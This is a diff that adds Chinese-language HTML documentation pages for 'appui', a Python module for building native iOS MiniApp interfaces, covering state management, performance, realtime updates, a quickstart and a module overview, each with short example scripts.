#预期效果

+

示例会展示列表筛选、状态粒度、Timer 和高频属性更新的性能写法。

+

#优先优化的地方

+
场景推荐做法
列表数据使用 List + ForEach,并提供稳定 key
设置页使用 Form + Section
多字段状态变化使用 state.batch_update(...)
派生搜索结果使用普通函数或 computed
计时器和进度模块级 Timer,回调中更新状态
高频数值先用 State 做正确,再按需切到 ReactiveState
大文件读取放到按钮动作、任务或后台流程中
图片和网络先异步加载,再把结果写入状态
+

#避免在 body 中做重活

+

body() 应该只描述界面。不要在里面同步读取大文件、下载网络内容、递归扫描目录、创建 Timer 或做复杂排序。

+
+
+ python +
+
+
import appui
+
+state = appui.State(items=["main.py", "notes.md", "data.json"], selected="None")
+
+
+def item_key(name):
+    return name
+
+
+def select_item(name):
+    state.selected = name
+
+
+def row_view(name):
+    def select_current():
+        select_item(name)
+
+    return appui.Button(
+        action=select_current,
+        content=appui.Text(name).frame(max_width=appui.infinity, alignment="leading"),
+    ).button_style("plain")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Files", [
+                appui.ForEach(state.items, row_builder=row_view, key=item_key)
+            ]),
+            appui.Section("State", [
+                appui.LabeledContent("Selected", value=state.selected)
+            ]),
+        ]).navigation_title("Files")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

如果数据来自耗时操作,先在事件中准备好,再更新状态。

+

#控制状态刷新范围

+

把变化频繁的值放到明确字段里。一次动作改多个字段时用 batch_update,避免中间状态反复重建。

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0, message="Ready")
+
+
+def plus():
+    state.batch_update(count=state.count + 1, message="Updated")
+
+
+def reset():
+    state.batch_update(count=0, message="Reset")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Counter", [
+                appui.LabeledContent("Count", value=str(state.count)),
+                appui.HStack([
+                    appui.Button("增加", action=plus).button_style("bordered_prominent"),
+                    appui.Button("重置", action=reset).button_style("bordered"),
+                ], spacing=12),
+            ], footer=state.message)
+        ]).navigation_title("Refresh Scope")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

#列表和大数据

+

大列表优先使用原生列表组件。过滤、排序、分组这类派生数据不要在每个 row 里重复计算。

+
+
+ python +
+
+
import appui
+
+rows = [{"id": index, "title": f"Item {index}"} for index in range(1, 101)]
+state = appui.State(query="", rows=rows, selected="None")
+
+
+def set_query(value):
+    state.query = value
+
+
+@appui.computed(state, depends_on=["query", "rows"])
+def filtered_rows():
+    keyword = state.query.strip().lower()
+    if not keyword:
+        return state.rows
+    return [row for row in state.rows if keyword in row["title"].lower()]
+
+
+def row_key(row):
+    return row["id"]
+
+
+def select_row(row):
+    state.selected = row["title"]
+
+
+def row_view(row):
+    def select_current():
+        select_row(row)
+
+    return appui.Button(
+        action=select_current,
+        content=appui.HStack([
+            appui.Text(row["title"]).frame(max_width=appui.infinity, alignment="leading"),
+            appui.Image(system_name="chevron.right").foreground_color("tertiaryLabel"),
+        ]),
+    ).button_style("plain")
+
+
+def body():
+    visible = filtered_rows()
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section(f"{len(visible)} results", [
+                appui.ForEach(visible, row_builder=row_view, key=row_key)
+            ]),
+            appui.Section("Selection", [
+                appui.LabeledContent("Selected", value=state.selected)
+            ]),
+        ])
+        .searchable(text=state.query, on_change=set_query)
+        .navigation_title("Large List")
+    )
+
+
+appui.run(body, state=state, presentation="sheet")
+
+

不要把大量行直接塞进普通 VStack 再放进 ScrollView。列表需要稳定的行身份和系统级复用能力。

+

#Timer 和中频刷新

+

Timer 放模块级,启动和停止由回调控制,不要在 body() 里创建。

+
+
+ python +
+
+
import appui
+
+state = appui.State(seconds=0, running=False)
+
+
+def tick():
+    if state.running:
+        state.seconds += 1
+
+
+timer = appui.Timer(interval=1.0, action=tick)
+
+
+def start():
+    state.running = True
+    timer.start()
+
+
+def stop():
+    state.running = False
+    timer.stop()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Timer", [
+                appui.LabeledContent("Seconds", value=str(state.seconds)),
+                appui.HStack([
+                    appui.Button("Start", action=start).button_style("bordered_prominent"),
+                    appui.Button("Stop", action=stop).button_style("bordered"),
+                ], spacing=12),
+            ], footer="Running" if state.running else "Stopped")
+        ]).navigation_title("Timer")
+    )
+
+
+appui.run(body, state=state)
+
+

#高频属性更新

+

当页面结构稳定、只是已有控件的值持续变化时,可以使用 实时快路径模式。它适合进度、滑块、仪表盘、计时器和状态文本。

+

关键原则:

+
  • 先保证普通 State 版本正确。
  • 高频字段再改成 ReactiveState 或组件绑定。
  • 不要手动调用未公开接口。
  • 结构变化仍然交给普通刷新。
+
+
+ python +
+
+
import appui
+
+state = appui.ReactiveState(
+    title="Meter",
+    level=(0.0, 1),
+    peak=(0.0, 2),
+)
+
+
+def update_meter(level, peak):
+    state.level = level
+    state.peak = peak
+
+

#重型原生视图

+

VideoPlayerMapViewWebView、相机预览这类视图不要放进普通列表行里滚动。把它们放在稳定区域,让下方的控制项使用 FormList

+
场景推荐
视频播放顶部固定 VideoPlayer,下方 Form 控制区
地图选点顶部 MapView,下方坐标和操作
WebView 帮助页WebView 独立稳定区域
图表仪表盘ChartCanvas 放在固定高度卡片中
+

#小结

+
  • body() 只做界面描述。
  • 数据准备、文件读取、网络请求放到界面构建之外。
  • 结构变化用普通状态刷新。
  • 多字段变化用 batch_update
  • 长列表用 List + ForEach + stable key
  • 高频属性变化看 实时快路径;相机、传感器、音频或系统状态流看 iOS 原生能力
+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-realtime/index.html b/docs/docs/pages/appui-guide-realtime/index.html new file mode 100644 index 0000000..3a26ccc --- /dev/null +++ b/docs/docs/pages/appui-guide-realtime/index.html @@ -0,0 +1,377 @@ + + + + + + 实时快路径 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

实时快路径

+

高频状态更新、二进制属性通道和实时 UI 的边界。

+
+ +
+

实时快路径是 appui 的高频界面更新通道。它的目标不是让你手动操作更新机制,而是在状态变化很频繁时,让已经显示出来的原生控件尽量只更新必要属性。

+

你可以把它理解为:首屏仍然由 appui 正常构建,运行时如果只是文本、滑块、开关、进度、图片等属性变化,系统会优先走更轻的更新路径。

+
+

#预期效果

+

示例会展示普通 State 与 ReactiveState 在高频属性更新时的可见差异。

+

#什么时候有用

+
  • 滑块、计时器、仪表盘、进度条持续变化。
  • 文本、标签、数值、状态灯需要频繁刷新。
  • 页面结构基本不变,只是已有控件的值在变。
  • 你希望减少整棵界面反复重建带来的卡顿。
+
+

#什么时候不需要关注

+
  • 页面只是普通表单、设置页或低频按钮操作。
  • 你正在增删列表行、切换导航根、打开 sheet 或重排布局。
  • 你的界面每次变化都需要重新组织视图结构。
+

这些场景继续使用普通 Stateappui 组件即可。实时快路径会在适合的地方自动参与,不需要你把简单界面写复杂。

+
+

#推荐写法

+

优先从清晰的状态模型开始:

+
+
+ python +
+
+
import appui
+
+state = appui.State(progress=0.4, title="下载中")
+
+def body():
+    return appui.VStack([
+        appui.Text(state.title),
+        appui.ProgressView(value=state.progress),
+        appui.Button("增加进度", action=bump),
+    ], spacing=16).padding()
+
+def bump():
+    state.progress = min(1.0, state.progress + 0.1)
+    if state.progress >= 1.0:
+        state.title = "已完成"
+
+appui.run(body, state=state, presentation="sheet")
+
+

如果一个值会高频变化,再考虑 ReactiveState。它适合把频繁变化的字段和界面控件绑定起来,让系统选择更轻的刷新方式。

+
+
+ python +
+
+
import appui
+
+state = appui.ReactiveState(value=0.5)
+
+
+def value_label():
+    return f"{state.value:.0%}"
+
+
+def body():
+    return appui.VStack([
+        appui.Text("音量"),
+        appui.Slider(**appui.bind(state, "value"), label="音量"),
+        appui.Text(value_label()),
+    ], spacing=16).padding()
+
+appui.run(body, state=state, presentation="sheet")
+
+
+

#使用原则

+
  • 先写正确的 appui 界面,再优化高频字段。
  • 高频值用 ReactiveState 或组件已有绑定,不要自己维护一套刷新系统。
  • 结构变化交给普通 State 重建,属性变化交给系统尽量增量刷新。
  • 不要依赖未公开常量或未文档化接口。
+
+

#和性能优化的关系

+

实时快路径只解决“已有控件高频改值”的成本。真正流畅的界面还需要:

+
  • 列表使用 List / ForEach,不要用大量 VStack 模拟。
  • 大文件、网络、图片处理放到后台任务。
  • 避免在 body() 中做复杂计算、排序或同步文件读取。
  • 控件数量很大时,优先拆分页面或懒加载。
+

更多整体建议见 性能实践

+

#系统实时能力

+

如果实时数据来自相机、传感器、麦克风、键盘高度、深浅色变化或照片选择,请看 iOS 原生能力。这些能力需要明确的启动和停止路径,不适合在普通 body() 重建循环中轮询。

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-state/index.html b/docs/docs/pages/appui-guide-state/index.html new file mode 100644 index 0000000..25ad88f --- /dev/null +++ b/docs/docs/pages/appui-guide-state/index.html @@ -0,0 +1,574 @@ + + + + + + 状态管理 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

状态管理

+

State、ReactiveState、Timer 和批量更新的使用边界。

+
+ +
+

appui 的界面由状态驱动:状态变了,body() 重新执行,View 树重新生成。状态代码要短、集中、可预测。

+

#预期效果

+

示例会展示表单字段、列表选择、搜索结果、滑块和计时器如何由状态驱动刷新。

+

#选择哪种状态

+
用法选择说明
表单字段、开关、当前 tab、普通计数State最常用,写入后触发重建。
高频数值或大数组ReactiveState可走实时快路径,减少整树重建压力。
不想触发重建的对象Ref保存句柄、缓存对象、一次性资源。
列表 / 字典增删改ObservableList / ObservableDictState 会自动包装 list/dict,让局部变更也能通知界面。
派生值computed从状态计算,不手动同步副本。
状态变化后的副作用effect用于日志、保存、触发外部动作。
+

普通页面先用 State。只有高频更新或大数据刷新已经明显卡顿时,再考虑 ReactiveState

+

#State

+

State 适合绝大多数页面状态。控件读取当前字段,on_change 或按钮回调写回字段。

+
+
+ python +
+
+
import appui
+
+state = appui.State(name="", enabled=True, count=0, progress=30.0)
+
+
+def set_name(value):
+    state.name = value
+
+
+def set_enabled(value):
+    state.enabled = value
+
+
+def set_progress(value):
+    state.progress = value
+
+
+def add_count():
+    state.count += 1
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("表单", [
+                appui.TextField("Name", text=state.name, on_change=set_name),
+                appui.Toggle("Enabled", is_on=state.enabled, on_change=set_enabled),
+                appui.Slider(value=state.progress, minimum=0, maximum=100, on_change=set_progress),
+                appui.Button("Add", action=add_count).button_style("bordered_prominent"),
+            ]),
+            appui.Section("当前值", [
+                appui.LabeledContent("name", value=state.name or "-"),
+                appui.LabeledContent("enabled", value=str(state.enabled)),
+                appui.LabeledContent("count", value=str(state.count)),
+                appui.LabeledContent("progress", value=f"{state.progress:.0f}%"),
+            ]),
+        ]).navigation_title("State")
+    )
+
+
+appui.run(body, state=state)
+
+

多个字段一起更新时,用 batch_update

+
+
+ python +
+
+
state.batch_update(name="Demo", enabled=True, count=0)
+snapshot = state.to_dict()
+
+

#ObservableList / ObservableDict

+

列表和字典放进 State 后会被包装成可观察容器。appendpopupdate 等局部变更也能通知界面。

+
+
+ python +
+
+
import appui
+
+state = appui.State(items=["Milk", "Coffee"], selected="None")
+
+
+def add_item():
+    state.items.append(f"Item {len(state.items) + 1}")
+
+
+def item_key(item):
+    return item
+
+
+def select_item(item):
+    state.selected = item
+
+
+def item_row(item):
+    def select_current():
+        select_item(item)
+
+    return appui.Button(
+        action=select_current,
+        content=appui.Text(item).frame(max_width=appui.infinity, alignment="leading"),
+    ).button_style("plain")
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("Items", [
+                appui.ForEach(state.items, row_builder=item_row, key=item_key)
+            ]),
+            appui.Section("State", [
+                appui.LabeledContent("Selected", value=state.selected)
+            ]),
+        ])
+        .navigation_title("ObservableList")
+        .toolbar([
+            appui.ToolbarItem(
+                placement="navigation_bar_trailing",
+                content=appui.Button("Add", action=add_item),
+            )
+        ])
+    )
+
+
+appui.run(body, state=state)
+
+

如果只是偶尔改列表,也可以重新赋值:state.items = list(state.items) + ["New"]

+

#Ref

+

Ref 保存“不属于界面事实源”的对象,写入不会触发重建。

+
+
+ python +
+
+
timer_ref = appui.Ref(None)
+cache_ref = appui.Ref({})
+
+

典型用途是保存 timer、网络任务、播放器句柄、滚动代理等。不要把需要显示到界面的值放进 Ref

+

#computed 与 effect

+

computed 用来声明派生值,避免维护两份状态。

+
+
+ python +
+
+
import appui
+
+state = appui.State(query="", items=["Layout", "Controls", "Navigation"])
+
+
+def set_query(value):
+    state.query = value
+
+
+@appui.computed(state, depends_on=["query", "items"])
+def visible_items():
+    keyword = state.query.strip().lower()
+    if not keyword:
+        return state.items
+    return [item for item in state.items if keyword in item.lower()]
+
+
+def item_key(item):
+    return item
+
+
+def item_row(item):
+    return appui.Label(item, system_image="doc.text")
+
+
+def log_query_change():
+    print("query changed", state.query)
+
+
+appui.effect(state, depends_on=["query"])(log_query_change)
+
+
+def body():
+    rows = visible_items()
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section(f"{len(rows)} results", [
+                appui.ForEach(rows, row_builder=item_row, key=item_key)
+            ])
+        ])
+        .searchable(text=state.query, on_change=set_query)
+        .navigation_title("computed")
+    )
+
+
+appui.run(body, state=state)
+
+

副作用不要写进 body()body() 应该只负责返回 View。

+

#bind 与 ReactiveState

+

数值控件需要双向绑定时,可以用 appui.bind(state, "field")

+
+
+ python +
+
+
appui.Slider(**appui.bind(state, "progress"), minimum=0, maximum=100)
+
+

TextFieldTogglePicker 的参数名不是 value,通常直接传当前值和 on_change

+

ReactiveState 适合频繁更新的属性,例如 slider 值、拖动坐标、图表数据。它可以绑定实时属性通道,减少高频整树重建。

+
+
+ python +
+
+
import appui
+
+state = appui.ReactiveState(progress=30.0)
+
+
+def body():
+    return appui.VStack([
+        appui.Text(f"{state.progress:.0f}%").font("largeTitle").bold(),
+        appui.Slider(**state.bind("progress"), minimum=0, maximum=100),
+    ], spacing=20).padding()
+
+
+appui.run(body, state=state)
+
+

普通表单不需要上 ReactiveState;只有高频更新或大数据刷新明显卡顿时再用。

+

#Timer 与自动刷新

+

Timer 要在模块级创建,初始化时传入 action。不要在 body() 里创建 Timer。

+
+
+ python +
+
+
import appui
+
+state = appui.State(seconds=0, running=False)
+
+
+def tick():
+    state.seconds += 1
+
+
+timer = appui.Timer(interval=1.0, repeats=True, action=tick)
+
+
+def start():
+    state.running = True
+    timer.start()
+
+
+def stop():
+    state.running = False
+    timer.stop()
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("Timer", [
+                appui.LabeledContent("Seconds", value=f"{state.seconds}s"),
+                appui.HStack([
+                    appui.Button("Start", action=start).button_style("bordered_prominent"),
+                    appui.Button("Stop", action=stop).button_style("bordered"),
+                ], spacing=12),
+            ], footer="Running" if state.running else "Stopped")
+        ]).navigation_title("Timer")
+    )
+
+
+appui.run(body, state=state)
+
+

auto_refresh 适合临时脚本和 demo。正式页面优先用明确的状态写入、绑定和生命周期。

+

#Checklist

+
  • 需要显示到界面的值放在 State / ReactiveState
  • 列表和字典可以依赖 ObservableList / ObservableDict,也可以重新赋值。
  • body() 里不要创建 timer、请求、文件写入。
  • 多字段更新用 batch_update
  • 高频数据先确认瓶颈,再换 ReactiveState
  • 行级操作使用稳定 id,不使用过滤后的下标。
+

#下一步

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-guide-thinking/index.html b/docs/docs/pages/appui-guide-thinking/index.html new file mode 100644 index 0000000..7402cc2 --- /dev/null +++ b/docs/docs/pages/appui-guide-thinking/index.html @@ -0,0 +1,440 @@ + + + + + + appui 思维方式 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

appui 思维方式

+

从命令式 UI 切到 State 驱动的声明式 View 树。

+
+ +
+

appui 的核心规则很简单:body() 返回一棵 View 树,状态变化后重新计算这棵树。不要手动创建、保存、移动原生控件;只描述当前状态下界面应该是什么样。

+

#预期效果

+

运行示例后会看到计数、登录分支和导航路径随状态变化即时刷新,页面代码始终只描述当前 View 树。

+

#先记住这 4 条

+
规则含义
View 是描述TextButtonVStack 只是声明界面结构。
State 是事实源用户输入、选择、列表数据放进 State / ReactiveState
body 要可重复执行body() 里不要写网络请求、文件写入、定时器创建等副作用。
修饰符有顺序.padding().background().background().padding() 的视觉结果不同。
+

#从命令式切到声明式

+

命令式 UI 常见写法是“找到控件,然后改它”。appui 的写法是“改状态,然后让界面重新声明”。

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0)
+
+
+def increment():
+    state.count += 1
+
+
+def body():
+    return appui.VStack([
+        appui.Text(f"Count: {state.count}")
+            .font("largeTitle")
+            .bold(),
+        appui.Button("Add", action=increment)
+            .button_style("bordered_prominent"),
+    ], spacing=16).padding()
+
+
+appui.run(body, state=state)
+
+

这段代码里没有“更新 label 文本”的命令。按钮只修改 state.count,下一次重建时 Text 自然显示新值。

+

#View 树

+

View 可以嵌套,也可以根据状态返回不同分支。

+
+
+ python +
+
+
import appui
+
+state = appui.State(logged_in=False)
+
+
+def log_in():
+    state.logged_in = True
+
+
+def body():
+    if state.logged_in:
+        content = appui.Text("已登录").font("title2")
+    else:
+        content = appui.Button("登录", action=log_in)
+
+    return appui.VStack([
+        appui.Text("欢迎").font("largeTitle").bold(),
+        content,
+    ], spacing=20).padding()
+
+
+appui.run(body, state=state)
+
+

条件分支应该返回完整的 View。不要在 body() 外保存某个 View 再反复修改它。

+

#State 先行

+

写界面前先列状态字段:

+
场景推荐状态
普通字段、表单、开关State
高频数值,如 slider、拖动、图表数据ReactiveState
不触发重建的对象句柄Ref
列表 / 字典增删改ObservableList / ObservableDict
+

状态写入通常放在按钮、输入框绑定、手势或定时器回调里。多个字段一起改时用 state.batch_update(...),避免中间状态触发多次重建。

+

#修饰符链

+

修饰符返回新的 View 描述,因此可以连续调用:

+
+
+ python +
+
+
(
+    appui.Text("Hello")
+    .font("title")
+    .foreground_color("white")
+    .padding()
+    .background("systemBlue")
+    .corner_radius(12)
+)
+
+

常用顺序是:内容样式 -> 尺寸/间距 -> 背景/边框 -> 交互/导航。遇到视觉不对,优先检查修饰符顺序。

+

#导航也是数据

+

导航栈不要当成“打开页面”的命令集合,而是一个路径状态。

+
+
+ python +
+
+
import appui
+
+path = appui.NavigationPath()
+state = appui.State()
+
+
+def open_settings():
+    path.append({"tag": "settings"})
+
+
+def go_back():
+    path.pop()
+
+
+def settings_destination(data):
+    return appui.VStack([
+        appui.Text("设置").font("title2"),
+        appui.Button("返回", action=go_back),
+    ], spacing=12).padding()
+
+
+def body():
+    return appui.NavigationStack(
+        content=appui.VStack([
+            appui.Text("首页").navigation_title("示例"),
+            appui.Button("去设置页", action=open_settings),
+        ], spacing=16).padding(),
+        path=path,
+        destinations={
+            "settings": settings_destination,
+        },
+    )
+
+
+appui.run(body, state=state)
+
+

destinations 的回调会接收 data 参数;即使暂时不用,也要写成命名函数,避免把页面构造逻辑藏在内联回调里。

+

#常见误区

+
误区改法
body() 里创建定时器或发请求放到 effect、按钮回调或生命周期回调。
把 View 保存到全局变量里再修改保存状态,不保存 View。
列表原地改了但界面不刷新使用 ObservableList,或重新赋值一个新列表。
参数名不确定以 API 参考和代码补全为准。
一个 body() 写成几百行拆成普通 Python 函数返回子 View。
+

#下一步

+ +
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-module/index.html b/docs/docs/pages/appui-module/index.html new file mode 100644 index 0000000..895e1bf --- /dev/null +++ b/docs/docs/pages/appui-module/index.html @@ -0,0 +1,352 @@ + + + + + + appui - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

appui

+

用 Python 编写原生 MiniApp 页面、状态、导航和交互。

+
+ +
+

appui 是 PythonIDE 用来编写原生 MiniApp 界面的模块。你用 Python 描述页面结构、状态和交互,PythonIDE 负责把它显示成 iOS 风格的表单、列表、导航、弹层、媒体和图表界面。

+

#最小脚本

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0)
+
+
+def add_one():
+    state.count += 1
+
+
+def body():
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("计数器", [
+                appui.LabeledContent("当前值", value=str(state.count)),
+                appui.Button("加 1", action=add_one)
+                .button_style("bordered_prominent"),
+            ])
+        ]).navigation_title("AppUI")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:预览打开一个原生表单页面,点击按钮后当前值立即更新。

+

#先选写法

+
目标推荐看
第一次写 MiniApp快速上手
判断该用 AppUI、widget、ui 还是 scene运行时选择
选择页面结构AppUI UI 模式
按任务查 APIAppUI API 地图
排查空白、按钮、输入、列表和权限问题MiniApp 开发排错
查完整函数和组件函数参考
+

#写 AppUI 的心智模型

+
  1. 入口:脚本末尾调用一次 appui.run(body, state=state)
  2. 页面:body()body(view_state) 返回一个 AppUI View。
  3. 状态:State 保存普通界面数据,ReactiveState 只用于高频变化。
  4. 绑定:Binding / bind() / State.bind() 适合输入控件和状态双向连接。
  5. 结构:设置页用 Form + Section,列表页用 List + ForEach,多页面用 NavigationStackTabView
  6. 交互:按钮、输入、搜索、刷新和弹层使用命名回调修改状态。
  7. 副作用:联网、文件、权限、通知和耗时任务不要写在 body() 里。
+

#适用场景

+
需求首选
表单、设置、列表、详情、工具页appui
多页面 MiniApp、Tab、弹层、搜索、刷新appui
图表、媒体、地图、WebView 和系统能力入口appui + 对应模块
主屏、锁屏、StandBy 小组件widget
Sprite、碰撞、逐帧绘制、小游戏scene
Pythonista 兼容的命令式界面脚本ui
纯输出、批处理、日志转换普通 Python / console
+

#行为契约

+
API保证注意
appui.run(...)启动一个 MiniApp 预览或页面。放在脚本末尾,一个脚本只保留一个入口。
appui.run(..., presentation=...)控制界面呈现方式。可选 'sheet'(默认)、'fullscreen''fullscreen_with_close'
State字段变化后触发页面重建。多字段同时更新优先用 batch_update(...)
ReactiveState适合高频数据更新。普通表单和列表不要默认使用。
body()描述当前界面。不要在里面发请求、申请权限、写文件或修改状态。
Button(action=...)点击后执行命名回调。传函数本身,不要写 action=save()
ForEach(..., key=...)用稳定 key 维护动态行身份。不要把可变化的 index 当 key。
+

#API 参考

+
分类文档
函数与入口函数参考
状态与绑定状态 API
布局容器布局 API
控件控件参考
导航导航参考
呈现和数据展示呈现参考数据展示
修饰符修饰符参考
图表、媒体、地图、形状图表媒体形状
+

#失败路径

+
  • 预览空白:确认 body() 返回 AppUI View,脚本末尾调用了 appui.run(...)
  • 按钮没反应:确认 action 传入命名函数,而不是函数调用结果。
  • 输入不更新:确认 on_change 接收新值并写回 State
  • 列表错行:确认 ForEach 使用稳定 key
  • 页面不像原生设置:设置页优先用 Form + Section,不要用一组自绘卡片模拟。
  • 权限或网络反复弹出:确认副作用没有写进 body()
+

#模块兼容性

+

appuiuiViewButtonTextFieldSliderImageScrollView 等同名类/函数,但语义不同。不要在同一文件中同时 from appui import *from ui import *

+

appuiscene 只有 run 这个入口名容易混淆。混用时用模块名限定调用:appui.run(body) / scene.run(MyScene())

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-quickstart/index.html b/docs/docs/pages/appui-quickstart/index.html new file mode 100644 index 0000000..eff204e --- /dev/null +++ b/docs/docs/pages/appui-quickstart/index.html @@ -0,0 +1,496 @@ + + + + + + 快速上手 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

快速上手

+

用四个可预览示例掌握 body、State、控件和导航。

+
+ +
+

这篇教程用四个可预览示例串起 AppUI 的最小闭环:显示页面、修改状态、编辑表单、列表进详情。每段都可以直接运行。

+

#1. Hello World

+

先让原生页面出现。body() 返回一个 View,脚本末尾调用 appui.run(body)

+
+
+ python +
+
+
import appui
+
+
+def body():
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text("Hello AppUI").font("title2").bold(),
+            appui.Text("用 Python 编写原生 MiniApp 界面")
+            .foreground_color("secondaryLabel"),
+        ], spacing=8)
+        .padding()
+        .navigation_title("Hello")
+    )
+
+
+appui.run(body)
+
+

预期效果:预览显示一个带导航标题的原生页面,页面中有标题和说明文字。

+

#2. State 和按钮

+

State 保存页面数据。按钮回调修改状态后,页面会用新状态重建。

+
+
+ python +
+
+
import appui
+
+state = appui.State(count=0, message="Ready")
+
+
+def decrease():
+    state.batch_update(count=state.count - 1, message="Decreased")
+
+
+def increase():
+    state.batch_update(count=state.count + 1, message="Increased")
+
+
+def body(view_state):
+    return appui.NavigationStack(
+        appui.VStack([
+            appui.Text(f"当前计数:{view_state.count}").font("title3"),
+            appui.HStack([
+                appui.Button("-1", action=decrease).button_style("bordered"),
+                appui.Button("+1", action=increase)
+                .button_style("bordered_prominent"),
+            ], spacing=12),
+            appui.Text(view_state.message)
+            .font("caption")
+            .foreground_color("secondaryLabel"),
+        ], spacing=16)
+        .padding()
+        .navigation_title("状态")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:点击 +1-1 后计数和状态文案同步变化。

+

#3. 表单控件

+

设置页和编辑页优先使用 Form + Section。输入控件通过 on_change 写回 State

+
+
+ python +
+
+
import appui
+
+state = appui.State(name="Ada", enabled=False, volume=40.0, saved=False)
+
+
+def set_name(value):
+    state.batch_update(name=value, saved=False)
+
+
+def set_enabled(value):
+    state.batch_update(enabled=value, saved=False)
+
+
+def set_volume(value):
+    state.batch_update(volume=value, saved=False)
+
+
+def save():
+    state.saved = bool(state.name.strip())
+
+
+def body():
+    footer = "已保存" if state.saved else "修改后点击保存"
+    return appui.NavigationStack(
+        appui.Form([
+            appui.Section("资料", [
+                appui.TextField("姓名", text=state.name, on_change=set_name),
+                appui.Toggle("启用提醒", is_on=state.enabled, on_change=set_enabled),
+                appui.Slider(
+                    value=state.volume,
+                    minimum=0,
+                    maximum=100,
+                    on_change=set_volume,
+                ),
+            ], footer=footer),
+            appui.Section("操作", [
+                appui.Button("保存", action=save)
+                .button_style("bordered_prominent"),
+            ]),
+        ]).navigation_title("表单")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:修改文本、开关或滑块后页面保持响应;点击保存后底部文案变为“已保存”。

+

#4. 导航和列表

+

多页面 MiniApp 通常用 NavigationStack 包根页面,列表进详情用 NavigationLink。动态行必须有稳定 key。

+
+
+ python +
+
+
import appui
+
+items = [
+    {"id": "docs", "title": "文档", "subtitle": "Guide"},
+    {"id": "api", "title": "API", "subtitle": "Reference"},
+    {"id": "demo", "title": "示例", "subtitle": "Cookbook"},
+]
+
+state = appui.State(last_opened="None")
+
+
+def item_key(item):
+    return item["id"]
+
+
+def mark_opened(item):
+    state.last_opened = item["title"]
+
+
+def detail_view(item):
+    def open_current():
+        mark_opened(item)
+
+    return appui.Form([
+        appui.Section("详情", [
+            appui.LabeledContent("标题", value=item["title"]),
+            appui.LabeledContent("类型", value=item["subtitle"]),
+            appui.Button("标记打开", action=open_current),
+        ]),
+        appui.Section("状态", [
+            appui.LabeledContent("Last opened", value=state.last_opened),
+        ]),
+    ]).navigation_title(item["title"])
+
+
+def row_view(item):
+    label = appui.HStack([
+        appui.Text(item["title"])
+        .frame(max_width=appui.infinity, alignment="leading"),
+        appui.Text(item["subtitle"]).foreground_color("secondaryLabel"),
+    ])
+    return appui.NavigationLink(destination=detail_view(item), label=label)
+
+
+def body():
+    return appui.NavigationStack(
+        appui.List([
+            appui.Section("入口", [
+                appui.ForEach(items, row_builder=row_view, key=item_key),
+            ])
+        ]).navigation_title("列表")
+    )
+
+
+appui.run(body, state=state)
+
+

预期效果:列表显示三行入口,点击任一行进入详情页;详情页按钮会更新打开状态。

+

#发布前检查

+
检查项合格标准
入口脚本末尾只调用一次 appui.run(...)
呈现默认 presentation='sheet';全屏可用 'fullscreen''fullscreen_with_close'
页面body()body(state) 返回 AppUI View
状态回调修改 State,多字段更新用 batch_update(...)
按钮action 传命名函数,不写 action=save()
输入on_change 接收新值并写回 State
列表ForEach 使用稳定 key
+

#失败路径

+
  • 预览空白:确认 body() 返回 View,且脚本末尾调用了 appui.run(...)
  • 按钮没反应:确认 action 传函数本身,而不是函数调用结果。
  • 输入不更新:确认 on_change 的参数名接收新值,并写回 State
  • 列表详情错乱:确认 ForEach 使用稳定业务 id,不使用会变化的 index。
  • 页面越来越难维护:回到 AppUI UI 模式,先选页面结构。
+

#API 参考

+

继续查 AppUI API 地图。需要判断该用哪个运行时时,先看 运行时选择

+
+ +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/appui-ref-charts/index.html b/docs/docs/pages/appui-ref-charts/index.html new file mode 100644 index 0000000..89bc355 --- /dev/null +++ b/docs/docs/pages/appui-ref-charts/index.html @@ -0,0 +1,473 @@ + + + + + + 图表与画布 API - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

图表与画布 API

+

Chart、Canvas、DrawingContext 和 Path。

+
+ +
+

本页覆盖 ChartCanvasDrawingContextPathChart 用系统图表展示结构化数据;CanvasDrawingContext 用命令列表画 2D 图形;Path 用矢量路径命令画自定义形状。

+

#什么时候用

+
目标首选 API说明
柱状、折线、面积、散点图Chart数据是字典列表,字段由 xyseries 指定。
简单 2D 绘图Canvas + DrawingContext矩形、圆、线、文本、渐变、路径等命令。
自定义矢量形状Path三角形、曲线、弧线、可填充或描边的路径。
